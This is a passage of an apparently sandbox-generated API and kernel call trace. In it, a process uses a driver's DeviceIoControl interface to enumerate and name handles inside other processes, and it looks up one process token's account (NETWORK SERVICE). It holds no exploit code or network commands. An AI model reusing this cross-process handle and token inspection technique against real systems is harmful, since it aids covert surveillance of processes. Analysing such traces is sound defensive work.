lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0131.829] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.829] PsAcquireProcessExitSynchronization () returned 0x0 [0131.829] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0) [0131.829] ObReferenceObjectByHandle (in: Handle=0x48c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0131.829] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.829] PsReleaseProcessExitSynchronization () returned 0x2 [0131.829] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0131.829] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.829] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0131.829] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.829] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.829] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.829] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0131.829] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.829] PsAcquireProcessExitSynchronization () returned 0x0 [0131.829] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0) [0131.829] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0131.829] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.829] PsReleaseProcessExitSynchronization () returned 0x2 [0131.829] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0131.829] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.829] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0131.829] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.829] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.829] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.830] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0131.830] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.830] PsAcquireProcessExitSynchronization () returned 0x0 [0131.830] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0) [0131.830] ObReferenceObjectByHandle (in: Handle=0x4fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0131.830] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.830] PsReleaseProcessExitSynchronization () returned 0x2 [0131.830] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0131.830] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.830] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0131.830] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.830] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.830] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.830] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0131.830] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.830] PsAcquireProcessExitSynchronization () returned 0x0 [0131.830] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0) [0131.830] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f97760, HandleInformation=0x0) returned 0x0 [0131.830] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.830] PsReleaseProcessExitSynchronization () returned 0x2 [0131.830] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0131.830] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.830] ObfDereferenceObject (Object=0xfffffa8002f97760) returned 0x1 [0131.830] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.830] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.830] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.830] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0131.830] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.830] PsAcquireProcessExitSynchronization () returned 0x0 [0131.830] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0) [0131.830] ObReferenceObjectByHandle (in: Handle=0x658, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0131.831] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.831] PsReleaseProcessExitSynchronization () returned 0x2 [0131.831] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0131.831] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.831] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0131.831] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.831] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.831] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x294) returned 0xc0 [0131.831] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0131.831] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800a76d690, HandleInformation=0x0) returned 0x0 [0131.831] ObOpenObjectByPointer (in: Object=0xfffffa800a76d690, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800006d4) returned 0x0 [0131.831] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xaf [0131.831] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800006d4, DesiredAccess=0x8, TokenHandle=0xfffffa800289e880 | out: TokenHandle=0xfffffa800289e880*=0xc8) returned 0x0 [0131.831] ZwClose (Handle=0xffffffff800006d4) returned 0x0 [0131.831] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.831] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0131.831] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0131.832] CloseHandle (hObject=0xc8) returned 1 [0131.832] CloseHandle (hObject=0xc0) returned 1 [0131.833] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.833] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0131.833] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.833] PsAcquireProcessExitSynchronization () returned 0x0 [0131.833] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0) [0131.833] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800306a960, HandleInformation=0x0) returned 0x0 [0131.833] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.833] PsReleaseProcessExitSynchronization () returned 0x2 [0131.833] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0131.833] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.833] ObfDereferenceObject (Object=0xfffffa800306a960) returned 0x1 [0131.833] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.833] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.833] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.833] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0131.833] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.833] PsAcquireProcessExitSynchronization () returned 0x0 [0131.833] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0) [0131.833] ObReferenceObjectByHandle (in: Handle=0x84, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030da840, HandleInformation=0x0) returned 0x0 [0131.833] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.833] PsReleaseProcessExitSynchronization () returned 0x2 [0131.833] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0131.833] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.833] ObfDereferenceObject (Object=0xfffffa80030da840) returned 0x1 [0131.833] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.833] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.833] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.833] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.833] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.833] PsAcquireProcessExitSynchronization () returned 0x0 [0131.833] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0) [0131.834] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030eeb60, HandleInformation=0x0) returned 0x0 [0131.834] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.834] PsReleaseProcessExitSynchronization () returned 0x2 [0131.834] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0131.834] ObQueryNameString (in: Object=0xfffffa80030eeb60, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.834] ObfDereferenceObject (Object=0xfffffa80030eeb60) returned 0x1 [0131.834] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.834] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.834] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.834] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.834] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.834] PsAcquireProcessExitSynchronization () returned 0x0 [0131.834] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0) [0131.834] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030ef8b0, HandleInformation=0x0) returned 0x0 [0131.834] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.834] PsReleaseProcessExitSynchronization () returned 0x2 [0131.834] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0131.834] ObQueryNameString (in: Object=0xfffffa80030ef8b0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.834] ObfDereferenceObject (Object=0xfffffa80030ef8b0) returned 0x2 [0131.834] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.834] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.834] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.834] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.834] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.834] PsAcquireProcessExitSynchronization () returned 0x0 [0131.834] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0) [0131.834] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030ef070, HandleInformation=0x0) returned 0x0 [0131.834] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.834] PsReleaseProcessExitSynchronization () returned 0x2 [0131.835] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0131.835] ObQueryNameString (in: Object=0xfffffa80030ef070, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.835] ObfDereferenceObject (Object=0xfffffa80030ef070) returned 0x2 [0131.835] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.835] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.835] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.835] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0131.835] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.835] PsAcquireProcessExitSynchronization () returned 0x0 [0131.835] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0) [0131.835] ObReferenceObjectByHandle (in: Handle=0x168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030ed700, HandleInformation=0x0) returned 0x0 [0131.835] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.835] PsReleaseProcessExitSynchronization () returned 0x2 [0131.835] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0131.835] ObQueryNameString (in: Object=0xfffffa80030ed700, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.835] ObfDereferenceObject (Object=0xfffffa80030ed700) returned 0x2 [0131.835] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.835] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.835] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.835] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.835] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.835] PsAcquireProcessExitSynchronization () returned 0x0 [0131.835] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0) [0131.835] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030ed5b0, HandleInformation=0x0) returned 0x0 [0131.835] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.835] PsReleaseProcessExitSynchronization () returned 0x2 [0131.835] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0131.835] ObQueryNameString (in: Object=0xfffffa80030ed5b0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.836] ObfDereferenceObject (Object=0xfffffa80030ed5b0) returned 0x2 [0131.836] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.836] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.836] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.836] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.836] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.836] PsAcquireProcessExitSynchronization () returned 0x0 [0131.836] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0) [0131.836] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030f38d0, HandleInformation=0x0) returned 0x0 [0131.836] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.836] PsReleaseProcessExitSynchronization () returned 0x2 [0131.836] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0131.836] ObQueryNameString (in: Object=0xfffffa80030f38d0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0131.836] ObfDereferenceObject (Object=0xfffffa80030f38d0) returned 0x2 [0131.836] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.836] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.836] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.836] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0131.836] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.836] PsAcquireProcessExitSynchronization () returned 0x0 [0131.836] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0) [0131.836] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030f4f20, HandleInformation=0x0) returned 0x0 [0131.836] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.836] PsReleaseProcessExitSynchronization () returned 0x2 [0131.836] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0131.836] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0131.836] ObfDereferenceObject (Object=0xfffffa80030f4f20) returned 0x1 [0131.836] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.837] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.837] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.837] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0131.837] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.837] PsAcquireProcessExitSynchronization () returned 0x0 [0131.837] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0 | out: 